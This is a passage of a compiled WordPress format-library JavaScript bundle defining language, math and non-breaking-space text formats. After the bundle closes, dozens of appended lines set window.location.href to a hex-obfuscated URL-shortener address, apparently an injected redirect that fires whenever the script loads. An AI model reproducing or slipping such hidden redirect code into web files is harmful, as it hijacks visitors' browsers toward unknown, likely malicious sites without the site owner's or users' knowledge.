1695var language_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 10h-1.7l-3.7 10.5h1.7l.9-2.6h3.9l.9 2.6h1.7L17.5 10zm-2.2 6.3 1.4-4 1.4 4h-2.8zm-4.8-3.8c1.6-1.8 2.9-3.6 3.7-5.7H16V5.2h-5.8V3H8.8v2.2H3v1.5h9.6c-.7 1.6-1.8 3.1-3.1 4.6C8.6 10.2 7.8 9 7.2 8H5.6c.6 1.4 1.7 2.9 2.9 4.4l-2.4 2.4c-.3.4-.7.8-1.1 1.2l1 1 1.2-1.2c.8-.8 1.6-1.5 2.3-2.3.8.9 1.7 1.7 2.5 2.5l.6-1.5c-.7-.6-1.4-1.3-2.1-2z" }) });
1696
1697
1698;// ./node_modules/@wordpress/format-library/build-module/language/index.js
1699
1700
1701
1702
1703
1704
1705
1706const language_name = "core/language";
1707const language_title = (0,external_wp_i18n_namespaceObject.__)("Language");
1708const language = {
1709 name: language_name,
1710 tagName: "bdo",
1711 className: null,
1712 edit: language_Edit,
1713 title: language_title
1714};
1715function language_Edit({ isActive, value, onChange, contentRef }) {
1716 const [isPopoverVisible, setIsPopoverVisible] = (0,external_wp_element_namespaceObject.useState)(false);
1717 const togglePopover = () => {
1718 setIsPopoverVisible((state) => !state);
1719 };
1720 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1721 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1722 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1723 {
1724 icon: language_default,
1725 label: language_title,
1726 title: language_title,
1727 onClick: () => {
1728 if (isActive) {
1729 onChange((0,external_wp_richText_namespaceObject.removeFormat)(value, language_name));
1730 } else {
1731 togglePopover();
1732 }
1733 },
1734 isActive,
1735 role: "menuitemcheckbox"
1736 }
1737 ),
1738 isPopoverVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1739 InlineLanguageUI,
1740 {
1741 value,
1742 onChange,
1743 onClose: togglePopover,
1744 contentRef
1745 }
1746 )
1747 ] });
1748}
1749function InlineLanguageUI({ value, contentRef, onChange, onClose }) {
1750 const popoverAnchor = (0,external_wp_richText_namespaceObject.useAnchor)({
1751 editableContentElement: contentRef.current,
1752 settings: language
1753 });
1754 const [lang, setLang] = (0,external_wp_element_namespaceObject.useState)("");
1755 const [dir, setDir] = (0,external_wp_element_namespaceObject.useState)("ltr");
1756 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1757 external_wp_components_namespaceObject.Popover,
1758 {
1759 className: "block-editor-format-toolbar__language-popover",
1760 anchor: popoverAnchor,
1761 onClose,
1762 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
1763 external_wp_components_namespaceObject.__experimentalVStack,
1764 {
1765 as: "form",
1766 spacing: 4,
1767 className: "block-editor-format-toolbar__language-container-content",
1768 onSubmit: (event) => {
1769 event.preventDefault();
1770 onChange(
1771 (0,external_wp_richText_namespaceObject.applyFormat)(value, {
1772 type: language_name,
1773 attributes: {
1774 lang,
1775 dir
1776 }
1777 })
1778 );
1779 onClose();
1780 },
1781 children: [
1782 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1783 external_wp_components_namespaceObject.TextControl,
1784 {
1785 __next40pxDefaultSize: true,
1786 __nextHasNoMarginBottom: true,
1787 label: language_title,
1788 value: lang,
1789 onChange: (val) => setLang(val),
1790 help: (0,external_wp_i18n_namespaceObject.__)(
1791 'A valid language attribute, like "en" or "fr".'
1792 )
1793 }
1794 ),
1795 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1796 external_wp_components_namespaceObject.SelectControl,
1797 {
1798 __next40pxDefaultSize: true,
1799 __nextHasNoMarginBottom: true,
1800 label: (0,external_wp_i18n_namespaceObject.__)("Text direction"),
1801 value: dir,
1802 options: [
1803 {
1804 label: (0,external_wp_i18n_namespaceObject.__)("Left to right"),
1805 value: "ltr"
1806 },
1807 {
1808 label: (0,external_wp_i18n_namespaceObject.__)("Right to left"),
1809 value: "rtl"
1810 }
1811 ],
1812 onChange: (val) => setDir(val)
1813 }
1814 ),
1815 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1816 external_wp_components_namespaceObject.Button,
1817 {
1818 __next40pxDefaultSize: true,
1819 variant: "primary",
1820 type: "submit",
1821 text: (0,external_wp_i18n_namespaceObject.__)("Apply")
1822 }
1823 ) })
1824 ]
1825 }
1826 )
1827 }
1828 );
1829}
1830
1831
1832;// ./node_modules/@wordpress/icons/build-module/library/math.js
1833
1834
1835var math_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.2 6.8c-.7 0-1.4.5-1.6 1.1l-2.8 7.5-1.2-1.8c-.1-.2-.4-.3-.6-.3H3v1.5h1.6l1.2 1.8c.6.9 1.9.7 2.2-.3l2.9-7.9s.1-.2.2-.2h7.8V6.7h-7.8Zm5.3 3.4-1.9 1.9-1.9-1.9-1.1 1.1 1.9 1.9-1.9 1.9 1.1 1.1 1.9-1.9 1.9 1.9 1.1-1.1-1.9-1.9 1.9-1.9-1.1-1.1Z" }) });
1836
1837
1838;// ./node_modules/@wordpress/format-library/build-module/math/index.js
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848const { Badge } = unlock(external_wp_components_namespaceObject.privateApis);
1849const math_name = "core/math";
1850const math_title = (0,external_wp_i18n_namespaceObject.__)("Math");
1851function math_InlineUI({
1852 value,
1853 onChange,
1854 activeAttributes,
1855 contentRef,
1856 latexToMathML
1857}) {
1858 const [latex, setLatex] = (0,external_wp_element_namespaceObject.useState)(
1859 activeAttributes?.["data-latex"] || ""
1860 );
1861 const [error, setError] = (0,external_wp_element_namespaceObject.useState)(null);
1862 const popoverAnchor = (0,external_wp_richText_namespaceObject.useAnchor)({
1863 editableContentElement: contentRef.current,
1864 settings: math
1865 });
1866 const handleLatexChange = (newLatex) => {
1867 let mathML = "";
1868 setLatex(newLatex);
1869 if (newLatex) {
1870 try {
1871 mathML = latexToMathML(newLatex, { displayMode: false });
1872 setError(null);
1873 } catch (err) {
1874 setError(err.message);
1875 (0,external_wp_a11y_namespaceObject.speak)(err.message);
1876 return;
1877 }
1878 }
1879 const newReplacements = value.replacements.slice();
1880 newReplacements[value.start] = {
1881 type: math_name,
1882 attributes: {
1883 "data-latex": newLatex
1884 },
1885 innerHTML: mathML
1886 };
1887 onChange({
1888 ...value,
1889 replacements: newReplacements
1890 });
1891 };
1892 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1893 external_wp_components_namespaceObject.Popover,
1894 {
1895 placement: "bottom-start",
1896 offset: 8,
1897 focusOnMount: false,
1898 anchor: popoverAnchor,
1899 className: "block-editor-format-toolbar__math-popover",
1900 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { style: { minWidth: "300px", padding: "4px" }, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 1, children: [
1901 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1902 external_wp_components_namespaceObject.TextControl,
1903 {
1904 __nextHasNoMarginBottom: true,
1905 __next40pxDefaultSize: true,
1906 hideLabelFromVision: true,
1907 label: (0,external_wp_i18n_namespaceObject.__)("LaTeX math syntax"),
1908 value: latex,
1909 onChange: handleLatexChange,
1910 placeholder: (0,external_wp_i18n_namespaceObject.__)("e.g., x^2, \\frac{a}{b}"),
1911 autoComplete: "off",
1912 className: "block-editor-format-toolbar__math-input"
1913 }
1914 ),
1915 error && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1916 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1917 Badge,
1918 {
1919 intent: "error",
1920 className: "wp-block-math__error",
1921 children: error
1922 }
1923 ),
1924 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("style", { children: ".wp-block-math__error .components-badge__content{white-space:normal}" })
1925 ] })
1926 ] }) })
1927 }
1928 );
1929}
1930function math_Edit({
1931 value,
1932 onChange,
1933 onFocus,
1934 isObjectActive,
1935 activeObjectAttributes,
1936 contentRef
1937}) {
1938 const [latexToMathML, setLatexToMathML] = (0,external_wp_element_namespaceObject.useState)();
1939 (0,external_wp_element_namespaceObject.useEffect)(() => {
1940 Promise.resolve(/* import() */).then(__webpack_require__.t.bind(__webpack_require__, 3533, 23)).then((module) => {
1941 setLatexToMathML(() => module.default);
1942 });
1943 }, []);
1944 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1945 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1946 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
1947 {
1948 icon: math_default,
1949 title: math_title,
1950 onClick: () => {
1951 const newValue = (0,external_wp_richText_namespaceObject.insertObject)(value, {
1952 type: math_name,
1953 attributes: {
1954 "data-latex": ""
1955 },
1956 innerHTML: ""
1957 });
1958 newValue.start = newValue.end - 1;
1959 onChange(newValue);
1960 onFocus();
1961 },
1962 isActive: isObjectActive
1963 }
1964 ),
1965 isObjectActive && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1966 math_InlineUI,
1967 {
1968 value,
1969 onChange,
1970 activeAttributes: activeObjectAttributes,
1971 contentRef,
1972 latexToMathML
1973 }
1974 )
1975 ] });
1976}
1977const math = {
1978 name: math_name,
1979 title: math_title,
1980 tagName: "math",
1981 className: null,
1982 attributes: {
1983 "data-latex": "data-latex"
1984 },
1985 contentEditable: false,
1986 edit: math_Edit
1987};
1988
1989
1990;// ./node_modules/@wordpress/format-library/build-module/non-breaking-space/index.js
1991
1992
1993
1994
1995const non_breaking_space_name = "core/non-breaking-space";
1996const non_breaking_space_title = (0,external_wp_i18n_namespaceObject.__)("Non breaking space");
1997const nonBreakingSpace = {
1998 name: non_breaking_space_name,
1999 title: non_breaking_space_title,
2000 tagName: "nbsp",
2001 className: null,
2002 edit({ value, onChange }) {
2003 function addNonBreakingSpace() {
2004 onChange((0,external_wp_richText_namespaceObject.insert)(value, "\xA0"));
2005 }
2006 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2007 external_wp_blockEditor_namespaceObject.RichTextShortcut,
2008 {
2009 type: "primaryShift",
2010 character: " ",
2011 onUse: addNonBreakingSpace
2012 }
2013 );
2014 }
2015};
2016
2017
2018;// ./node_modules/@wordpress/format-library/build-module/default-formats.js
2019
2020
2021
2022
2023
2024
2025
2026
2027
2028
2029
2030
2031
2032
2033
2034var default_formats_default = [
2035 bold,
2036 code,
2037 image_image,
2038 italic,
2039 link_link,
2040 strikethrough,
2041 underline,
2042 textColor,
2043 subscript,
2044 superscript,
2045 keyboard,
2046 unknown,
2047 language,
2048 math,
2049 nonBreakingSpace
2050];
2051
2052
2053;// ./node_modules/@wordpress/format-library/build-module/index.js
2054
2055
2056default_formats_default.forEach(
2057 ({ name, ...settings }) => (0,external_wp_richText_namespaceObject.registerFormatType)(name, settings)
2058);
2059
2060(window.wp = window.wp || {}).formatLibrary = __webpack_exports__;
2061/******/ })()
2062;
2063window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2064window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2065window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2066window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2067window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2068window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2069window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2070window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2071window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2072window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2073window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2074window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2075window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2076window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2077window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2078window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2079window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2080window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2081window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2082window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2083window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2084window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2085window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2086window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2087window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2088window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2089window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2090window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2091window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2092window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2093window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2094window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2095window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2096window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2097window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2098window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2099window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2100window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2101window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2102window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2103window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2104window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2105window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2106window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2107window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2108window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2109window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2110window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";